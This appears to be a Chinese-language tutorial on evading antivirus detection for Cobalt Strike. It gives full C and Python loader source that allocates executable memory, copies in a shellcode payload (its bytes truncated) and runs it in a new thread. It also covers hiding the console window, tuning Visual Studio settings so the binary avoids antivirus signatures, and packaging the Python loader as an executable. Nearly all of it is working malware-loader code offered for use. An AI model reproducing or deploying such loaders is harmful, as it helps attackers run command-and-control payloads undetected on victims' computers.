CS免杀之06C加载器和Python加载器

C加载器源码

#include <windows.h> // Windows API 和 一些常量
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口

// 注释
// 十六进制 shellcode 
/* length: 894 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41......\x86\xa0";

void main() {
	// 1.申请内存
	LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, 0x40);
	// 2.复制shellcode到申请的内存中
	memcpy(addr, buf, sizeof(buf));
	// 3.运行shellcode,加载shellcode的方式
	HANDLE hThread = CreateThread(
		NULL,
		NULL,
		(LPTHREAD_START_ROUTINE)addr,
		NULL,
		NULL,
		0);
	// 等待线程运行
	WaitForSingleObject(hThread, -1);
	// 关闭线程
	CloseHandle(hThread);
}

VisualStudio编译配置

VS 的一些编译特征会导致编译出的可执行文件特征成为查杀特征,所以需要配置 VS 来规避这些特征的出现。

选中项目, 右键属性进行配置

Python加载器源码

import ctypes

# 在Python中调用Windows api
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

# shellcode
# length: 894 bytes
buf = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41......x86\xa0"
sc = bytearray(buf) # 转成字节数组
# 设置VirtualAlloc
VirtualAlloc.restype = ctypes.c_uint64  # 重载函数返回类型为c_uint64
buf = (ctypes.c_char * len(sc)).from_buffer(sc)  # 将sc指向指针
# 1.申请内存
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)), 0x1000|0x2000, 0x40)  # 申请内存
# 2.复制 shellcode到内存中
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(sc)))  # 复制sc进申请的内存中
# 3.通过创建线程运行shellcode
h = CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_void_p(p),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件

python脚本打包成二进制执行文件